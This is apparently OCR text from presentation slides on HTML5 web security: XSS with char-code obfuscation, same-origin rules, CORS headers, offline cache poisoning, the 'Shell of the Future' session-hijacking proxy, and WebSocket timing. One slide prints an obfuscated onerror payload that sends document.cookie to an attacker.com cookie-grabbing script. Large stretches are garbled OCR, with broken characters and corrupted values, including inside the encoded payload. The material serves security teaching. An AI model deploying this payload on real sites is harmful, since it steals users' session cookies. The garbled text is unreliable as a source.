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<video><source onerror; 2 | c u
Image().src; ° f rr n8- - uuu, gatcooki@aphg?@okee mK dbc
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Char Code Encoding

<video><source

onerror =eval(String.fromCharCode (110,101,119,32,73,109,97,103,
101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,119,11
9,119,46,9/7,116,116,97,99,107,101,114,46,99,111,109,47,103,10
1,116,99,111,111,107,105,101,46,112,104,112,63,99,111,111,10
/,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,1
11,107,105,101))></source></video>
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Origin : http ://DomainA .com/dir/page .html

Compared URL Outcome Reason
http ://www .DomainA .com/dir/page .html Success B E : b n
http ://www .DomainA .com/dir 2/other .html Success -, "B, L n
http ://www .DomainA .com:81/dir/other .html Failure W E NN U La'Y
https ://www .DomainA .com/dir/other .html Failure , v KNU E a’yY
http :// en.DomainA .com/dir/other .thml Failure E : s KNU  °  ba'Y
http :// DomainA .com/dir/other .html Failure E : s KNU b a'Y
http ://www .DomainA .com:30/dir/other .html [ Bml £r *sOyc 4wOa'Y




HTMLS Security Issues

X CORS(CrossOrigin Resource Sharing) « COR
= baol g NEQedv U

EHTMLS XHR Level24 + O |




HTMLS Security Issues

X CORS(CrossOrigin Resource Sharing) « CORS Example

GET /response.php HTTP/1.1\r\n
Host: www.other.com\r\n
Connection: keep-alive\r\n

COR 0Oe U Referer: http://www.foo.com/cors.html\r\n
- ) €——o0rigin: http://www.foo.com\r\n
WWW'fOO'C()m User-Agent: Mozilla/5.0 (Windows NT 6.1; WOwW64) AppleWebKit/534.30

Accept: */*\r\n

Accept-Encoding: gzip,deflate,sdch\r\n

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4\r\n
Accept-Charset: windows-949,utf-8;q=0.7,%*;g=0.3\r\n

Ce

>
2] D
HTTP/1.1 200 OK\r\n
Date: Fri, 25 Jan 2013 08:07:31 GMT\r\n
Server: Apache\r\n
www.other.com N b €—teAccess-Control-Allow-0rigin: http://www.foo.com\r\n

Content-Length: 38\r\n

Keep-Alive: timeout=5, max=100\r\n
Connection: Keep-Alive\r\n
Content-Type: text/html\r\n

\r\n

Lne-based text data: text/html
http://www.foo.com : Domain is allowed

www.foo.com COR™Q
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X Web Storage «E
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E Offline Web Application Cache Poisoning
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X Web Socket APl«w H p " U A A
E Shell Of The Future

Shell of the Future :
GET http://www.google.com !

- Send the request to the Shell

Pentester’s
Browser

of the Future Web server

Send the Google home page
to Pentester’s browser

body to the proxy Server

I
I
i Send the response Web
i
|

__________________________________

Send the response body to the

Shell of the Future web server Send the request to

the victim’s browser

Google web server responds
with the HTML for its homepage

>

www.google.com

Victim's
Browser

Request the Google web server

e d for http://www.google.com

. http ://www.andlabs.org/tools/sotf/sotf.html
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X Web Socket A
E Web Socket

Pl « Web Socket Interface

readyState” £

ACONNECTING(O), OPEN(1), CLOSED(2t. b < T U D b
AWeb Socket 2t 8 x CONNECTING(0)X b
EredeayState” £ <« 4 WO CONNECTINGO)XX * " p
a H° Q - 0X =~ ' p
3-Way H.S ®ENAM, i > v AD <100ms (0.1 0 Q)
3-Way H.S D.. OEAM, i v AD <100ms (0.1 0 Q)
3-Way H.S NM, whHh 2. a®v Ad >30000 ms (30 0)
3-Way H.S NM, Wh2 X3 NZ 3 KN |<100ms (FireFox Safari)
D.. s A D >30000 ms (Chrome)
+ H <« ® Q- 0X ~ " p
s H° LAA v AD <100ms (0.1 0 Q)
s H° L b v A D ~1000ms (1 )
Q6 41, AD >30000 ms (30 0)
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